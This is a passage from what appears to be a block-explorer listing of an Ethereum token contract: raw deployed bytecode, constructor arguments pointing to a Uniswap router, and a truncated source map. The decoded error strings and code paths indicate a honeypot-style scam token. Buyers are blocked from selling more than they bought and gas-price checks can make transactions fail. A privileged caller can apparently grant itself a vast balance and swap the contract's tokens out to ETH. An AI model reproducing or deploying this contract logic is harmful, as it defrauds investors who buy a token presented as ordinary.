ffffffff168152602001908152602001600020549050919050565b610fb633600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60648211158015610fc8575060648111155b611007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ffe9061317e565b60405180910390fd5b81600b8190555080600c819055505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61106a6124b1565b6110746000612528565b565b6110a233600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60006110ad30610abe565b90506000816dffffffffffffffffffffffffffff80166110cd919061319e565b90506110d76125ec565b6110e9306110e433611019565b61167a565b5061112730600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff80166119a6565b6060600267ffffffffffffffff811115611144576111436131d2565b5b6040519080825280602002602001820160405280156111725781602001602082028036833780820191505090505b509050308160008151811061118a57611189613201565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611231573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112559190613010565b8160018151811061126957611268613201565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b0426112f9919061306c565b6040518663ffffffff1660e01b8152600401611319959493929190613333565b6000604051808303816000875af1158015611338573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061136191906134b1565b5050505050565b61139433600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b60136020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461141890612ef5565b80601f016020809104026020016040519081016040528092919081815260200182805461144490612ef5565b80156114915780601f1061146657610100808354040283529160200191611491565b820191906000526020600020905b81548152906001019060200180831161147457829003601f168201915b5050505050905090565b6114c733600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600660008282546114d9919061306c565b9250508190555050565b61150f33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b60005b838390508110156115ae57816011600086868581811061153557611534613201565b5b905060200201602081019061154a9190612cfe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115a6906134fa565b915050611512565b50505050565b60008033905060006115c682866116df565b90508381101561160b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611602906135b4565b60405180910390fd5b61161882868684036119a6565b60019250505092915050565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008033905061168b818585611c6d565b600191505092915050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6117be33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61180a6124b1565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611879576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187090613646565b60405180910390fd5b61188281612528565b50565b6118b133600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611b6f565b6118de30600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119a6565b6118e8308261167a565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080336104b04261193c919061306c565b6040518863ffffffff1660e01b815260040161195d96959493929190613666565b60606040518083038185885af115801561197b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906119a091906136c7565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0c9061378c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7b9061381e565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611b629190612c03565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd4906138b0565b60405180910390fd5b5050565b6000611bed84846116df565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611c675781811015611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509061391c565b60405180910390fd5b611c6684848484036119a6565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd3906139ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4290613a40565b60405180910390fd5b611d56838383612654565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd490613ad2565b60405180910390fd5b611de684610eeb565b158015611df95750611df783610eeb565b155b1561239557611e07846128e5565b15612041576000611e1a83600b54612997565b90508282611e28919061319e565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083611e77919061319e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ec5919061306c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611f27919061319e565b604051611f349190612c03565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fad919061306c565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120339190612c03565b60405180910390a350612390565b61204a836128e5565b1561228457600061205d83600c54612997565b9050828261206b919061319e565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836120ba919061319e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612108919061306c565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661216a919061319e565b6040516121779190612c03565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121f0919061306c565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122769190612c03565b60405180910390a35061238f565b8181612290919061319e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612322919061306c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123869190612c03565b60405180910390a35b5b6124a0565b81816123a1919061319e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612433919061306c565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516124979190612c03565b60405180910390a35b6124ab8484846129b9565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff166124d06113e0565b73ffffffffffffffffffffffffffffffffffffffff1614612526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251d90613b3e565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6dffffffffffffffffffffffffffff8016600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461264b919061306c565b92505081905550565b61265d836128e5565b156126fd5780600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126b1919061306c565b9250508190555042600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b612706826128e5565b156128e057601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166128df5780600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156127de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d590613bd0565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461282d919061319e565b9250508190555061283c610cb9565b156128cc5761288c600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546010546129be565b6128cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c290613c3c565b60405180910390fd5b5b6128d46129d7565b156128de57600080fd5b5b5b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806129905750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846129a79190613c5c565b6129b19190613ccd565b905092915050565b505050565b60004282846129cd919061306c565b1015905092915050565b6000600a543a1015905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a1e578082015181840152602081019050612a03565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a46826129e4565b612a5081856129ef565b9350612a60818560208601612a00565b612a6981612a2a565b840191505092915050565b60006020820190508181036000830152612a8e8184612a3b565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ad582612aaa565b9050919050565b612ae581612aca565b8114612af057600080fd5b50565b600081359050612b0281612adc565b92915050565b6000819050919050565b612b1b81612b08565b8114612b2657600080fd5b50565b600081359050612b3881612b12565b92915050565b60008060408385031215612b5557612b54612aa0565b5b6000612b6385828601612af3565b9250506020612b7485828601612b29565b9150509250929050565b60008115159050919050565b612b9381612b7e565b82525050565b6000602082019050612bae6000830184612b8a565b92915050565b60008060408385031215612bcb57612bca612aa0565b5b6000612bd985828601612af3565b9250506020612bea85828601612af3565b9150509250929050565b612bfd81612b08565b82525050565b6000602082019050612c186000830184612bf4565b92915050565b600080600060608486031215612c3757612c36612aa0565b5b6000612c4586828701612af3565b9350506020612c5686828701612af3565b9250506040612c6786828701612b29565b9150509250925092565b6000604082019050612c866000830185612bf4565b612c936020830184612bf4565b9392505050565b600060ff82169050919050565b612cb081612c9a565b82525050565b6000602082019050612ccb6000830184612ca7565b92915050565b600060208284031215612ce757612ce6612aa0565b5b6000612cf584828501612b29565b91505092915050565b600060208284031215612d1457612d13612aa0565b5b6000612d2284828501612af3565b91505092915050565b612d3481612b7e565b8114612d3f57600080fd5b50565b600081359050612d5181612d2b565b92915050565b60008060408385031215612d6e57612d6d612aa0565b5b6000612d7c85828601612af3565b9250506020612d8d85828601612d42565b9150509250929050565b60008060408385031215612dae57612dad612aa0565b5b6000612dbc85828601612b29565b9250506020612dcd85828601612b29565b9150509250929050565b612de081612aca565b82525050565b6000602082019050612dfb6000830184612dd7565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112612e2657612e25612e01565b5b8235905067ffffffffffffffff811115612e4357612e42612e06565b5b602083019150836020820283011115612e5f57612e5e612e0b565b5b9250929050565b600080600060408486031215612e7f57612e7e612aa0565b5b600084013567ffffffffffffffff811115612e9d57612e9c612aa5565b5b612ea986828701612e10565b93509350506020612ebc86828701612d42565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612f0d57607f821691505b602082108103612f2057612f1f612ec6565b5b50919050565b60006dffffffffffffffffffffffffffff82169050919050565b612f4981612f26565b8114612f5457600080fd5b50565b600081519050612f6681612f40565b92915050565b600063ffffffff82169050919050565b612f8581612f6c565b8114612f9057600080fd5b50565b600081519050612fa281612f7c565b92915050565b600080600060608486031215612fc157612fc0612aa0565b5b6000612fcf86828701612f57565b9350506020612fe086828701612f57565b9250506040612ff186828701612f93565b9150509250925092565b60008151905061300a81612adc565b92915050565b60006020828403121561302657613025612aa0565b5b600061303484828501612ffb565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061307782612b08565b915061308283612b08565b925082820190508082111561309a5761309961303d565b5b92915050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006130d6601d836129ef565b91506130e1826130a0565b602082019050919050565b60006020820190508181036000830152613105816130c9565b9050919050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b60006131686024836129ef565b91506131738261310c565b604082019050919050565b600060208201905081810360008301526131978161315b565b9050919050565b60006131a982612b08565b91506131b483612b08565b92508282039050818111156131cc576131cb61303d565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b600061325f61325a61325584613230565b61323a565b612b08565b9050919050565b61326f81613244565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6132aa81612aca565b82525050565b60006132bc83836132a1565b60208301905092915050565b6000602082019050919050565b60006132e082613275565b6132ea8185613280565b93506132f583613291565b8060005b8381101561332657815161330d88826132b0565b9750613318836132c8565b9250506001810190506132f9565b5085935050505092915050565b600060a0820190506133486000830188612bf4565b6133556020830187613266565b818103604083015261336781866132d5565b90506133766060830185612dd7565b6133836080830184612bf4565b9695505050505050565b61339682612a2a565b810181811067ffffffffffffffff821117156133b5576133b46131d2565b5b80604052505050565b60006133c8612a96565b90506133d4828261338d565b919050565b600067ffffffffffffffff8211156133f4576133f36131d2565b5b602082029050602081019050919050565b60008151905061341481612b12565b92915050565b600061342d613428846133d9565b6133be565b905080838252602082019050602084028301858111156134505761344f612e0b565b5b835b8181101561347957806134658882613405565b845260208401935050602081019050613452565b5050509392505050565b600082601f83011261349857613497612e01565b5b81516134a884826020860161341a565b91505092915050565b6000602082840312156134c7576134c6612aa0565b5b600082015167ffffffffffffffff8111156134e5576134e4612aa5565b5b6134f184828501613483565b91505092915050565b600061350582612b08565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036135375761353661303d565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061359e6025836129ef565b91506135a982613542565b604082019050919050565b600060208201905081810360008301526135cd81613591565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006136306026836129ef565b915061363b826135d4565b604082019050919050565b6000602082019050818103600083015261365f81613623565b9050919050565b600060c08201905061367b6000830189612dd7565b6136886020830188612bf4565b6136956040830187613266565b6136a26060830186613266565b6136af6080830185612dd7565b6136bc60a0830184612bf4565b979650505050505050565b6000806000606084860312156136e0576136df612aa0565b5b60006136ee86828701613405565b93505060206136ff86828701613405565b925050604061371086828701613405565b9150509250925092565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006137766024836129ef565b91506137818261371a565b604082019050919050565b600060208201905081810360008301526137a581613769565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138086022836129ef565b9150613813826137ac565b604082019050919050565b60006020820190508181036000830152613837816137fb565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061389a6021836129ef565b91506138a58261383e565b604082019050919050565b600060208201905081810360008301526138c98161388d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613906601d836129ef565b9150613911826138d0565b602082019050919050565b60006020820190508181036000830152613935816138f9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006139986025836129ef565b91506139a38261393c565b604082019050919050565b600060208201905081810360008301526139c78161398b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613a2a6023836129ef565b9150613a35826139ce565b604082019050919050565b60006020820190508181036000830152613a5981613a1d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613abc6026836129ef565b9150613ac782613a60565b604082019050919050565b60006020820190508181036000830152613aeb81613aaf565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613b286020836129ef565b9150613b3382613af2565b602082019050919050565b60006020820190508181036000830152613b5781613b1b565b9050919050565b7f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e60008201527f20626f7567687421000000000000000000000000000000000000000000000000602082015250565b6000613bba6028836129ef565b9150613bc582613b5e565b604082019050919050565b60006020820190508181036000830152613be981613bad565b9050919050565b7f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d65600082015250565b6000613c266020836129ef565b9150613c3182613bf0565b602082019050919050565b60006020820190508181036000830152613c5581613c19565b9050919050565b6000613c6782612b08565b9150613c7283612b08565b9250828202613c8081612b08565b91508282048414831517613c9757613c9661303d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613cd882612b08565b9150613ce383612b08565b925082613cf357613cf2613c9e565b5b82820490509291505056fea2646970667358221220185d5c322a40510a7e430bba902942a4e74fad3b3bec88dec9772e751af6c42164736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

3674:12661:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5188:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6098:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14977:237;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5489:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6305:293;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14212:141;;;;;;;;;;;;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;5390:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11800:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15943:289;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12727:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6606:236;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11697:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14036:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13039:150;;;;;;;;;;;;;:::i;:::-;;13479:265;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13353:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12337:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13752:276;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5605:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;594:103;;;;;;;;;;;;;:::i;:::-;;15222:712;;;;;;;;;;;;;:::i;:::-;;11535:154;;;;;;;;;;;;;:::i;:::-;;4543:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;361:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5287:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12892:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11947:254;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6850:434;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12209:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5740:191;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12473:123;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5939:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4141:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4509:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14830:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;705:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14361:461;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5188:91;5233:13;5266:5;5259:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5188:91;:::o;6098:199::-;6181:4;6198:13;6214:10;6198:26;;6235:32;6244:5;6251:7;6260:6;6235:8;:32::i;:::-;6285:4;6278:11;;;6098:199;;;;:::o;14977:237::-;15060:44;15084:10;15096:7;;;;;;;;;;;15060:23;:44::i;:::-;15144:14;15115:7;;:44;;;;;;;;;;;;;;;;;;15193:12;15170:5;;:36;;;;;;;;;;;;;;;;;;14977:237;;:::o;5489:108::-;5550:7;5577:12;;5570:19;;5489:108;:::o;6305:293::-;6436:4;6453:15;6471:10;6453:28;;6492:38;6508:4;6514:7;6523:6;6492:15;:38::i;:::-;6541:27;6551:4;6557:2;6561:6;6541:9;:27::i;:::-;6586:4;6579:11;;;6305:293;;;;;:::o;14212:141::-;14263:21;14286:22;14329:6;;14337:7;;14321:24;;;;14212:141;;:::o;5390:91::-;5439:5;5464:9;;;;;;;;;;;5457:16;;5390:91;:::o;11800:139::-;11857:44;11881:10;11893:7;;;;;;;;;;;11857:23;:44::i;:::-;11923:8;11912;:19;;;;11800:139;:::o;15943:289::-;16008:7;16029:16;16047;16068:5;;;;;;;;;;;:17;;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16028:59;;;;;16098:24;16144:5;16126:23;;:5;;;;;;;;;;;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:23;;;16125:65;;16181:8;16173:17;;16125:65;;;16161:8;16153:17;;16125:65;16098:92;;16208:16;16201:23;;;;;15943:289;;;:::o;12727:157::-;12793:44;12817:10;12829:7;;;;;;;;;;;12793:23;:44::i;:::-;12864:12;12848:13;:28;;;;12727:157;:::o;6606:236::-;6694:4;6711:13;6727:10;6711:26;;6748:64;6757:5;6764:7;6801:10;6773:25;6783:5;6790:7;6773:9;:25::i;:::-;:38;;;;:::i;:::-;6748:8;:64::i;:::-;6830:4;6823:11;;;6606:236;;;;:::o;11697:95::-;11746:4;11770:14;;;;;;;;;;;11763:21;;11697:95;:::o;14036:168::-;14110:44;14134:10;14146:7;;;;;;;;;;;14110:23;:44::i;:::-;14180:16;14165:12;;:31;;;;;;;;;;;;;;;;;;14036:168;:::o;13039:150::-;13080:44;13104:10;13116:7;;;;;;;;;;;13080:23;:44::i;:::-;13160:21;13135:9;:21;13145:10;13135:21;;;;;;;;;;;;;;;;:46;;;;;;;:::i;:::-;;;;;;;;13039:150::o;13479:265::-;13563:44;13587:10;13599:7;;;;;;;;;;;13563:23;:44::i;:::-;13652:7;13626:33;;:15;:22;13642:5;13626:22;;;;;;;;;;;;;;;;;;;;;;;;;:33;;;13618:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;13729:7;13704:15;:22;13720:5;13704:22;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;13479:265;;:::o;13353:117::-;13416:4;13440:15;:22;13456:5;13440:22;;;;;;;;;;;;;;;;;;;;;;;;;13433:29;;13353:117;;;:::o;12337:128::-;12406:7;12433:17;:24;12451:5;12433:24;;;;;;;;;;;;;;;;12426:31;;12337:128;;;:::o;13752:276::-;13827:44;13851:10;13863:7;;;;;;;;;;;13827:23;:44::i;:::-;13901:3;13890:7;:14;;:33;;;;;13920:3;13908:8;:15;;13890:33;13882:82;;;;;;;;;;;;:::i;:::-;;;;;;;;;13984:7;13975:6;:16;;;;14012:8;14002:7;:18;;;;13752:276;;:::o;5605:127::-;5679:7;5706:9;:18;5716:7;5706:18;;;;;;;;;;;;;;;;5699:25;;5605:127;;;:::o;594:103::-;320:13;:11;:13::i;:::-;659:30:::1;686:1;659:18;:30::i;:::-;594:103::o:0;15222:712::-;15259:44;15283:10;15295:7;;;;;;;;;;;15259:23;:44::i;:::-;15314:24;15341:34;15369:4;15341:19;:34::i;:::-;15314:61;;15386:16;15425;15405:17;:36;;;;;;:::i;:::-;15386:55;;15452:11;:9;:11: